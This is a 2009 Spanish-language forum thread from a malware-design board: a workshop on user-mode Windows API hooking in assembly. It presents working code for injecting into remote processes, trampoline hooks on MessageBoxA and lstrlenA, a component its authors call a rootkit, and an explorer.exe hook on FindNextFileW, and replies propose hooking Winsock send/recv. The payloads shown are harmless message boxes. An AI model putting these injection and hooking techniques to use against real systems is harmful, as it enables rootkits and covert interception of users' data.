elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
13 Marzo 2010, 19:00  


Temas destacados: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Hendrix, Karcrack)
| | |-+  [Taller] Api Hooking en modo usuario
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [Taller] Api Hooking en modo usuario  (Leído 2913 veces)
YST

Desconectado Desconectado

Mensajes: 940


I'm you


Ver Perfil WWW
[Taller] Api Hooking en modo usuario
« en: 01 Agosto 2009, 05:27 »

Taller de Api hooking

Este texto se puede publicar libremente siempre que se mantenga el autor.
Autores:YST & Hacker_Zero


Conocimientos previos:
  • ASM        
  • Manejo minimo de las apis de windows
  • Formato PE [Metodo IAT patch]


Contenido
  • 1.-Introducción

  • 2.-Inyección de codigo
  • 2.1-Teoría
  • 2.2-Relización

  • 3.-Metodo de trampolín
  • 3.1-Teoría
  • 3.2-Relización

  • 4.-Metodo de IAT patch
  • 4.1-Teoría
  • 4.2-Relización

  • Despedida


1.Introducción

En este taller se explicara el api hooking, mediante 2 metodos distintos conocidos como el metodo trampolín y el metodo IAT patch .

El api hooking para quien no lo conosca es basicamente en modificar el comportamiento de una api por lo que queramos nosotros.

Todo el taller sera hecho usando el lenguaje ensamblador, a si que si no dominas el lenguaje aunque sea en un nivel basico no comprenderas todo el taller por eso recomiendo leer un poco sobre este lenguaje antes de leer el taller ;) .


2.Inyección de codigo


2.1Teoría

La inyección de codigo consiste en hacer que un codigo que nosotros programemos sea ejecutado por un proceso externo.

Para esto se crea un hilo con CreateRemoteThread en el proceso externo teniendo su PID ( Process ID ) y se escriber el codigo inyectado en el proceso creando un espacio con VirtualAllocEx y luego escribimos en el espacio generado con WriteProcessMemory .



2.1Relización


Para darnos una idea de la inyección de codigo inyectaremos un codigo que muestre un mensaje mediante la api MessageBoxA ;) .

Entonces inyectaremos la siguiente función

Código
;pGetProcAddress = Puntero a la api GetProcAddress
proc FuncionInyectada,pGetProcAddress
locals ; Definimos las variables locales
BaseKernel32 dd ?    ;MZ de la kernel32.dll
endl
;Leemos el PEB  para obtener la base del kernel
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll
 
 stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
 stdcall eax,"user32.dll" ;Cargamos la user32.dll
  stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  stdcall eax,0,0,0,0     ;Mostramos el mensaje
  leave ;Terminamos
    ret ;
    endp
    FinFuncion:

Para evitar lios los procesos donde trabajaremos seran creados por nosotros mismo mediante la api CreateProcessA y en nuestro code usaremos la siguiente función que mediante esta api crea un proceso.

Código
;pExe = Nombre del exe
;PI = Puntero a una estructura de PROCESS_INFORMATION
proc LanzarHilo,pExe,PI   ;Función que cre un proceso
   invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
   mov edi,eax
invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
   invoke GlobalFree,edi
   ret
endp

El siguiente paso es crear un espacio en el proceso donde escribiremos nuestra función :P , para eso usaremos la api  VirtualAllocEx y igual que en la creación del proceso para comodidad nos aremosa una comoda función que use esta api y nos retorne la posición donde se puede escribir
Código
;pTamaño = Tamaño necesitado
;pPid = Id del proceso.
proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
   invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   ret
endp

Luego de generar el espacio en el proceso , escribimos nuestra funcion con WriteProcessMemory y creamos el hilo remoto con CreateRemoteThread pasandole por el parametro la direccion del GetProcAddress que usamos en nuestra función inyectada, el codigo nos queda mas o menos a si.

Código
; FinFuncion-FuncionInyectada = tamaño de la funcion
include 'win32ax.inc' ;Incluimos la libreria
.code ; Declaramos la sección de codigo
proc start ; Entry Point
   locals
       PI                      PROCESS_INFORMATION   ;Información del Proceso
       DirFun                  dd ? ;Espacio donde escribiremos    nuestro codigo
   endl
stdcall LanzarHilo,"notepad.exe",addr PI ; Creamos el proceso donde inyectaremos , el proceso es de un notepad.
stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[PI.hProcess]     ;Creamos un espacio donde podremos esacribir
 mov [DirFun],eax                    ;Guardamos la direccion donde podemos escribir en DirFun
     invoke WriteProcessMemory,[PI.hProcess],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0  ;Escribimos nuestra funcion en el proceso.
     invoke CreateRemoteThread,[PI.hProcess],0,0,[DirFun],[GetProcAddress],0,0  ;Creamos un hilo en el proceso pasandole por parametro ola direccion de GetProcAddress
ret
endp
proc LanzarHilo,pExe,PI   ;Función que cre un proceso
   invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
   mov edi,eax
invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
   invoke GlobalFree,edi
   ret
endp
;pTamaño = Tamaño necesitado
;pPid = Id del proceso.
proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
   invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   ret
endp
;pGetProcAddress = Puntero a la api GetProcAddress
proc FuncionInyectada,pGetProcAddress
locals ; Definimos las variables locales
BaseKernel32 dd ?    ;MZ de la kernel32.dll
endl
;Leemos el PEB  para obtener la base del kernel
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll
 
 stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
 stdcall eax,"user32.dll" ;Cargamos la user32.dll
  stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  stdcall eax,0,0,0,0     ;Mostramos el mensaje
  leave ;Terminamos
    ret ;
    endp
    FinFuncion:
.end start ; Declaramos el Import data y el Entry Point    
 


2.Metodo de trampolín


2.1-Teoría

El metodo trampolín consiste en hacer que la api salte a nuestra función , esto se consigue cambiando los primeros bytes de la api por un codigo que salte a nuestra función ( por eso lo de trampolín) .

Para lograrlo se inyecta un codigo que saca el MZ de la dll mediante la api GetModuleHandle , se saca la dirección de la api con GetProcAddress y luego se le da permisos de escritura a los 6 primeros bytes con VirtualProtectEx .

Muchos se preguntaran por que a los 6 primeros bytes , esto es por que escribiremos un

Código
push DireccionDeNuestraFuncion
ret
que esto ocupa un total de 6 bytes ( 0x68 = PUSH[1byte] , 1 Dword la posicion y 0xC3 = Ret[1 byte] ) , para los que no sepan el ret hace algo que se podria describir como un "pop EIP" haciendo un salto a lo ultimo pusheado en la pila.

Para lograr hookear se necesita estar en su mismo espacio en memoria , para esto se inyectara de la manera anteriormente explicada el codigo que hace el hook.


2.2-Realización

Para explicar un poco mas la idea nos "autohookearemos" , la api que hookearmos en nosotros mismos es la api lstrlenA de la libreria kernel32.dll y haremos que devuelva siempre 0.

Ya explicado lo que vamos a hacer nos ponemos en marcha  :P .


Lo primero que haremos sera sacar la posición de la libreria kernel32.dll usando la api GetModuleHandle
, de la siguiente manera:

Código
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
ret ; salimos
.end start ;Establecemos el EntryPoint y el
 
 

Luego obtendremos la dirección de la api lstrlenA( la que hoockearemos ) mediante la api GetProcAddress de la siguiente manera ;)

Código
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
ret ; salimos
.end start ;Establecemos el EntryPoint y el
 
 
 

Luego le tenemos que dar permisos de escritura a los primeros 6 bytes de la api lstrlenA que tenemos guardada su posición previamente en ebx , entonces para esto usaremos la api VirtualProtectEx de la siguiente manera

Código
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
 
lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
 
ret ; salimos
.end start ;Establecemos el EntryPoint y el
 
 
La fuunción con que remplazaremos la lstrlenA sera la siguiente
Código
;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
proc MylstrlenA,p1
mov eax,0
ret
endp  
 

Ya teniendo la función y permisos de escritura , escribiremos nuestro codigo que saltara hacia nuestra función quedando de la siguiente manera nuestro code
Código
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
 
lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
 
   mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
   inc ebx   ;Nos vamos al segundo byte de lstrlenA
   mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
   add ebx,4         ;Nos saltamos 4 bytes(1 dword)
   mov byte[ebx],0xC3;Escribimos el ret
ret ; salimos
;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
proc MylstrlenA,p1
mov eax,0
ret
endp
.end start ;Establecemos el EntryPoint y el import data                                                
 

En este codigo la api ya estaria hookeada , para comprobarlo mostraremos un MessageBox con lo que devuelve ( Si no devuelve 0 daria error el MessageBoxA ).

Código
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
 
lea edx,dword[ebp-4]
invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
 
   mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
   inc ebx   ;Nos vamos al segundo byte de lstrlenA
   mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
   add ebx,4         ;Nos saltamos 4 bytes(1 dword)
   mov byte[ebx],0xC3;Escribimos el ret
   invoke lstrlen,"Hola" ; Esto deberia devolver 4
   invoke MessageBox,0,eax,0,0 ; Mostramos lop que devuelve , si se muestra el MessageBox LO LOGRAMOS!!
ret ; salimos
;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
proc MylstrlenA,p1
mov eax,0
ret
endp
.end start ;Establecemos el EntryPoint y el import data
 
 

En la idea la unica diferencia entre el Autohook que hicimos y un Hook a otro proceso es que tenemos que inyectar nuestro codigo que hace hook en el proceso  ;D.


Ya sabiendo inyectar y teniendo la idea de como se hace el API Hook, vamos a hacer algo más divertido, inyectaremos nuestro código en otro proceso para modificar su comportamiento, en éste caso Hookearemos MessageBoxA. Para ésto será necesario crear un buffer con los 5 bytes (en éste caso) que pisamos en la API, para así, cuando queramos llamar a la API original poder hacerlo sin que la llamada caiga tambien en nuestra función  :xD. Con una imagen queda más claro  :P:


Por qué 5 bytes? Porque a la hora de modificar los bytes del comienzo de la Api, no podemos cortar instrucciones, y en el caso de Messagebox, la Api comienza por:

Código
        mov edi,edi
        push ebp
        mov ebp,esp
 

Eso ocupa exactamente 5 bytes, si lo reemplazamos por un jmp dirección, no cortaríamos ninguna instrucción. Pero ésto no es una constante, no todas las apis empiezan por lo mismo, por lo que en cada Api que vayamos a hookear, necesitaremos echar mano del debuger para fijarnos de no cortar ningúna instrucción  ;).

MANOS A LA OBRA!

Lo primero será inyectar nuestra función en el proceso que queremos Hookear:

Código
proc start
   locals
       ProcessName             db                              "MessageBoxA.exe",0
   endl
 
   stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
   cmp eax,-1
   jne salir
 
   invoke MessageBoxA,0,"No se encontró el proceso!",0,0
 
   salir:
   invoke ExitProcess,0
endp
 
proc Inyectar,ProcessName,Tamaño,Funcion,Datos
   locals
       struct PROCESSENTRY32
           dwSize                  dd ?
           cntUsage                dd ?
           th32ProcessID           dd ?
           th32DefaultHeapID       dd ?
           th32ModuleID            dd ?
           cntThreads              dd ?
           th32ParentProcessID     dd ?
           pcPriClassBase          dd ?
           dwFlags                 dd ?
           szExeFile               rb MAX_PATH
       ends
 
       pInfo                   PROCESSENTRY32                  ?
       Handle                  dd                              ?
       PID                     dd                              ?
       DirFuncion              dd                              ?
       hProcess                dd                              ?
   endl
 
   ;Obtenemos el PID del proceso
   invoke CreateToolhelp32Snapshot,0x00000002,0
   mov [Handle],eax
 
    mov eax,sizeof.PROCESSENTRY32
    mov [pInfo.dwSize], eax
 
   BuclePid:
       invoke Process32Next,[Handle],addr pInfo
       cmp eax,0
       je FinProcBuclePID ;No hay más procesos
       invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
       cmp eax,0
       jne BuclePid
       jmp FinBuclePid
 
   FinProcBuclePID:
   invoke CloseHandle,[Handle]
   mov eax,-1
   ret
 
   FinBuclePid:
   invoke CloseHandle,[Handle]
   push [pInfo.th32ProcessID]
   pop [PID]
 
   ;Lazamos el proceso
   invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
   mov [hProcess],eax
 
   ;Reservamos espacio en el proceso
   invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   mov [DirFuncion],eax
 
   ;Escribimos los datos en memoria
   invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
 
   ;Creamos el hilo
   invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[GetProcAddress],0,0
 
   ret
endp                    
 

No explicaré el código de inyección, con los comentarios es más que suficiente, ya lo explicó mi compañero YST y se supone que dominamos la inyección y queremos hacer un Rootkit  ;D.

Ahora lo interesante, la función que inyectaremos:


Código
proc FuncionInyectada,pGetProcAddress
 
    locals
        BaseKernel32                   dd               ?
        OriginalProtection             dd               ?
    endl
 
    ;Leemos el PEB  para obtener la base de KERNEL32.DLL
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax
 
    ;Obtenemos la dirección de MessageBoxA
    stdcall [pGetProcAddress],[BaseKernel32],"GetModuleHandleA"
    mov edi,eax
    stdcall edi,"USER32.DLL"
    stdcall [pGetProcAddress],eax,'MessageBoxA'
 
    ;ebx contendrá la dirección de la Api MessageBoxA
    mov ebx,eax
 
    ;Obtenemos la dirección de VirtualProtect y damos permisos
    ;de lectura, escritura y ejecución a los 5 primeros bytes de la Api
    stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
    stdcall eax,ebx,5,PAGE_EXECUTE_READWRITE,addr OriginalProtection
 
    ;Calculamos el delta offset para saber en que
    ;dirección nos estamos ejecutando
    call delta
    delta:
    pop edx
    sub edx,delta  ;edx=delta
 
    ;Lo guardamos en la pila para no perderlo
    push edx
 
    ;Mostramos un Messagebox para indicar que nos inyectamos correctamete en el proceso
    ;(Obtenemos la dirección de las variables a partir del delta offset)
    mov eax,edx
    add edx,RMensaje             ;Obtenemos la direccion de las variables RMensaje y msgTitulo
    add eax,msgTitulo             ;a partir del delta offset
    stdcall ebx,0,edx,eax,0    ;ebx=puntero MessageBoxA
 
    ;Recuperamos el valor de delta de la pila y lo volvemos a guardar
    pop edx
    push edx
 
    ;Guardamos la dirección de MessageBoxA en la variable dirMessageBoxA
    add edx,dirMessageBoxA
    mov dword[edx],ebx
 
    pop edx  ;Recuparamos el valor de delta offset de la pila
 
    ;Modificamos los 5 primeros bytes de la API por un jmp a FuncionHook
    mov byte[ebx],0xE9   ;0xE9=jmp
    inc ebx
    mov ecx,FuncionHook
    add ecx,edx
    sub ecx,ebx
    sub ecx,4
    mov dword[ebx],ecx   ;la dirección a la que saltará
 
    ret          ;Terminamos, ya hemos modificado el principio de la api,
                  ;cuando el programa llame a MessageBoxA, saltará a FuncionHook
 
;--------------------------------------------------------------------------------------------------------------------------------------------
 
    ;Contiene los 5 primeros bytes de la Api MessageBoxA y una rutina para saltar a MessageBox+5
    ApiOriginal:
        ;edx=delta
        mov edi,edi         ; Primeros bytes de la api MessageBoxA
        push ebp            ; que pisamos poniendo nuestro salto,
        mov ebp,esp       ;
 
        add edx,dirMessageBoxA  ;Obtenemos la dirección de MessageBoxA leyendo
        mov eax,dword[edx]       ;la variable dirMessageBoxA y la guardamos en eax
        add eax,5           ;Nos desplazamos 5 bytes
        jmp eax             ;Saltamos a MessageBoxA+5
 
;--------------------------------------------------------------------------------------------------------------------------------------------
 
    ;Función a la que salta el programa cuando se llama a la API hookeada
    FuncionHook:
        ;Calculamos el delta offset
        call delta2
        delta2:
        pop edx
        sub edx,delta2  ;edx=delta
 
        ;Limpiamos la pila de los parametros originales
        pop eax
        mov ebx,eax ;Guardamos la dirección de retorno en ebx
        pop eax    
        pop eax
        pop eax
        pop eax
 
        push edx edx   ;Copiamos el delta a eax y ecx
        pop ecx eax
 
        ;pusheamos nuestros parámetros obteniendo la dirección de las variables
        ;a partir del delta offset
        push 0
        add ecx,msgTitulo
        push ecx
        add eax,ApiHookedMensaje
        push eax
        push 0
 
        ;Pusheamos la dirección de retorno
        push ebx
 
        ;Obtenemos la dirección de ApiOriginal
        mov ecx,edx
        add ecx,ApiOriginal
 
        ;Saltamos a ApiOriginal
        jmp ecx
 
;-------------------------------------------------------------------------------------------------------------------------------------------
 
        RMensaje                       db               "Soy el RootKit, me inyecté! :D!",0
        ApiHookedMensaje               db               "Soy un MessageBoxA Hookeado! :D!",0
        msgTitulo                      db               "xD",0
        dirMessageBoxA                 dd               ?
endp                
 

Con eso tendríamos nuestro Rootkit terminado usando el método trampolín:

Éste es el ejecutable Llamando a MessageboxA:


Ejecutamos el Rootkit:

Y cuando el programa hace MessageBoxa(0,"No estoy Hookeado :( !",":(",0) sucede ésto:

Subo el código fuente completo: Descargar


En construcción

« Última modificación: 02 Agosto 2009, 00:29 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Hacker_Zero

Desconectado Desconectado

Mensajes: 668


CASI Nunca digas es imposible....


Ver Perfil WWW
Re: [Taller]Api Hook
« Respuesta #1 en: 01 Agosto 2009, 13:31 »

Bravo amigo  ;-). Muy bueno, si señor.

Lo del push ret que te dije no es buena idea, porque muchas apis si pisas 5 bytes (con un jmp) no cortas instrucciones en cambio con el push ret ya pisas un byte de más (en la mayoría de apis). Con el jmp ya queda clavado  y luego si quieres crear el buffer para llamar a la api original no tienes que copiar tantos bytes.

Saludos  ;-)
« Última modificación: 01 Agosto 2009, 14:01 por Hacker_Zero » En línea

Karcrack
Moderador
*****
Desconectado Desconectado

Mensajes: 1.323


Se siente observado ¬¬'


Ver Perfil
Re: [Taller]Api Hook
« Respuesta #2 en: 01 Agosto 2009, 14:52 »

Muy bueno, te pongo chincheta ;D Espero verlo acabado pronto ;)

Como dice Hacker_Zero ves con cuidado de no pillar instrucciones a medias...sino habrá un error muy feo :-\
En línea

dropper

Desconectado Desconectado

Mensajes: 1.909


Nothing to prove


Ver Perfil WWW
Re: [Taller]Api Hook
« Respuesta #3 en: 01 Agosto 2009, 14:54 »

Muy buen, hasta que ganó chincheta.

Seguiré el tallercito YST  ;)

Éxitos!!!
En línea

YST

Desconectado Desconectado

Mensajes: 940


I'm you


Ver Perfil WWW
Re: [Taller]Api Hook
« Respuesta #4 en: 01 Agosto 2009, 20:13 »

Muy bueno, te pongo chincheta ;D Espero verlo acabado pronto ;)

Como dice Hacker_Zero ves con cuidado de no pillar instrucciones a medias...sino habrá un error muy feo :-\

Muchas gracias karccrack , en la noche lo continuo :P
En línea



Yo le enseñe a Kayser a usar objetos en ASM
cΔssiΔni

Desconectado Desconectado

Mensajes: 839



Ver Perfil WWW
Re: [Taller]Api Hook
« Respuesta #5 en: 01 Agosto 2009, 20:42 »

Hasta que te animaste  :silbar:
En línea

LixKeÜ

Desconectado Desconectado

Mensajes: 385


solo es lo que es y la verdad siempre da de ganar


Ver Perfil WWW
Re: [Taller] Api Hooking en modo usuario
« Respuesta #6 en: 07 Agosto 2009, 14:54 »

 muy bueno me gustaría aplicar esto ala api del winsock  :rolleyes: ever si me sale algo :D
En línea

Hacker_Zero

Desconectado Desconectado

Mensajes: 668


CASI Nunca digas es imposible....


Ver Perfil WWW
Re: [Taller] Api Hooking en modo usuario
« Respuesta #7 en: 07 Agosto 2009, 15:28 »

muy bueno me gustaría aplicar esto ala api del winsock  :rolleyes: ever si me sale algo :D

Googleando puedes encontrar código del MsnNightmare de Mazard que hace hook a send y recv en C  ;D.

Saludos  ;)
En línea

Jaixxon Jax

Desconectado Desconectado

Mensajes: 740



Ver Perfil
Re: [Taller] Api Hooking en modo usuario
« Respuesta #8 en: 07 Agosto 2009, 16:13 »

 ;D
[
Citar
hook a send y recv en C
 

  Jeje estuve tanto tiempo buscando estas funciones pero tengo entendido que estas funciones no son apis sino mudulos de la libreria winsock ? y si son api me entero ? si pudieras Hacker Zero extenderias mas tu explicacion sino  :rolleyes: me podrias pasar el link del manual de mazard jeje.  :laugh:
En línea

Karcrack
Moderador
*****
Desconectado Desconectado

Mensajes: 1.323


Se siente observado ¬¬'


Ver Perfil
Re: [Taller] Api Hooking en modo usuario
« Respuesta #9 en: 07 Agosto 2009, 20:16 »

Si que son APIs... APIs de la libreria de Winsock(ws2_32.dll/wsock32.dll)...

Aqui tienes el enlace al codigo:
Código:
http://mzrdzoneforo.tomahost.org/index.php?topic=30.0
En línea

spartanla90

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Taller] Api Hooking en modo usuario
« Respuesta #10 en: 12 Agosto 2009, 02:42 »

wow a ver si se podre hacer algo aunk sea un poco parecido :xD
En línea
Erik#
Grupo de Trabajo
*
Desconectado Desconectado

Mensajes: 1.088


Soy amigo de VaultBoy


Ver Perfil
Re: [Taller] Api Hooking en modo usuario
« Respuesta #11 en: 24 Agosto 2009, 20:31 »

Grande YST :)
En línea

YST

Desconectado Desconectado

Mensajes: 940


I'm you


Ver Perfil WWW
Re: [Taller] Api Hooking en modo usuario
« Respuesta #12 en: 28 Agosto 2009, 20:35 »

Otro ejemplo de api Hook que muestra en un MessageBox los archivos mediante los vea el explorer.exe
Código
; FinFuncion-FuncionInyectada = tamaño de la funcion
include 'win32ax.inc' ;Incluimos la libreria
 
.data ; Declaramos la sección de codigo
proc start ; Entry Point
   locals
   PID dd ?
     lProc dd ?
       DirFun                  dd ? ;Espacio donde escribiremos    nuestro codigo
   endl
    invoke FindWindowEx,0,0,"Progman",NULL
    invoke GetWindowThreadProcessId,eax,addr PID
   invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
    mov [lProc],eax
stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[lProc]
 mov [DirFun],eax
     invoke WriteProcessMemory,[lProc],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0
     invoke GetModuleHandle,'kernel32.dll'
     invoke CreateRemoteThread,[lProc],0,0,[DirFun],eax,0,0
ret
endp
 
 
proc ReservarEspacio,pTamaño,pPid
   invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   ret
endp
 
proc FuncionInyectada,pMZ
locals
pGetProcAddress dd ?
lDelta dd ?
lGetMDA DD ?
lWSOCK32 dd ?
lRMM dd ?
lDD dd ?
LVRPX dd ?
lBytes dd ?
lSend dd ?
endl
    call delta
    delta:
    pop edx
    sub edx,delta
    mov [lDelta],edx
    mov eax,[lDelta]
    add eax,GetAddressFunction
    mov [pGetProcAddress],eax
       stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta]
    mov [lGetMDA],eax
    stdcall [lGetMDA],"kernel32.dll"
    mov [lWSOCK32],eax
      stdcall [pGetProcAddress],[pMZ],"GetProcAddress",[lDelta]
    stdcall eax,[lWSOCK32],"FindNextFileW"
    mov [lSend],eax
  mov ebx,cRtlMoveMemory
  add ebx,[lDelta]
  mov [lRMM],ebx
  mov edi,BytesOriginales
  add edi,[lDelta]
 
 
     stdcall [pGetProcAddress],[pMZ],"VirtualProtectEx",[lDelta]
     mov [LVRPX],eax
  mov edi,BytesOriginales
  add edi,[lDelta]
        lea edx,[lDD]
        mov [lBytes],edi
stdcall [LVRPX],-1,[lBytes],40,PAGE_EXECUTE_READWRITE,edx
 
    stdcall [lRMM],[lBytes],[lSend],40
             lea edx,[lDD]
stdcall [LVRPX],-1,[lSend],20,PAGE_EXECUTE_READWRITE,edx
mov eax,[lSend]
mov byte[eax],0x68
inc eax
mov dword[eax],MiSend
mov edx,[lDelta]
add dword[eax] ,edx
add eax,4
mov byte[eax],0xC3
mov eax,DireecionAPI
add eax,[lDelta]
mov edi,[lSend]
mov [eax],edi
      stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta]
    mov [lGetMDA],eax
    stdcall [lGetMDA],"user32.dll"
         stdcall [pGetProcAddress],eax,"MessageBoxW",[lDelta]
mov edi, eax
mov eax,DireccionMes
add eax,[lDelta]
mov [eax],edi
    stdcall [pGetProcAddress],[pMZ],"Sleep",[lDelta]
 stdcall eax,-1
    endp
    proc GetAddressFunction,pMZ,pApi,lDelta
    locals
    lDelta2 dd ?
    endl
;EDI = MZ
;Expot data = EBX
;Esi = Cantidad de funciones
;edx = AddressOfNames
;ECX = Propositos generales
mov edi, [pMZ]
mov ebx,[edi+0x3c]
mov ebx,[ebx+edi+0x78]
add ebx,edi
mov esi,[0x18+ebx]
mov edx, [0x20+ebx]
add edx,edi
.bucle:
dec esi
cmp esi,0
je .error
mov eax,esi
rol eax,2   ;Multiplicamos esi por 4
mov eax,[edx + eax]
add eax,edi
push eax
mov eax,[lDelta]
mov [lDelta2],eax
add [lDelta2],comparar
pop eax
stdcall [lDelta2],[pApi],eax
xor eax,0
jnz  .bucle
mov eax,[0x24+ebx]
add eax,edi
movzx ecx, word[eax + 2*esi]
mov eax, [ebx + 0x1c]
add eax,edi
mov eax, [eax + 4 * ecx]
add eax, edi
.salir:
ret
.error:
xor eax,eax
jmp .salir
endp
proc comparar ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp  [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
 
proc MiSend,p1,p2
locals
lDelta dd ?
lRMM dd ?
lResultado dd ?
lDireccion dd ?
lMensaje dd ?
lBytes dd ?
endl
  call .delta
    .delta:
    pop edx
    sub edx,.delta
    mov [lDelta],edx
mov eax,[lDelta]
add eax,DireccionMes
mov eax,dword[eax]
mov [lMensaje],eax
mov eax, DireecionAPI
add eax,[lDelta]
mov eax,dword[eax]
mov [lDireccion],eax
mov eax,cRtlMoveMemory
add eax,[lDelta]
mov [lRMM],eax
mov eax,BytesOriginales
add eax,[lDelta]
mov [lBytes],eax
stdcall [lRMM],[lDireccion],[lBytes],40
 
stdcall [lDireccion],[p1],[p2]
 
mov [lResultado],eax
 
mov eax,[lDelta]
add eax,MiSend
mov ebx,[lDireccion]
mov byte[ebx],0x68
inc ebx
mov dword[ebx],eax
add ebx,4
mov byte[ebx],0xC3
mov eax,[p2]
add eax,44
stdcall [lMensaje],0,eax,0,0
 
mov eax,[lResultado]
ret
endp
DireccionMes dd ?
DireecionAPI dd ?
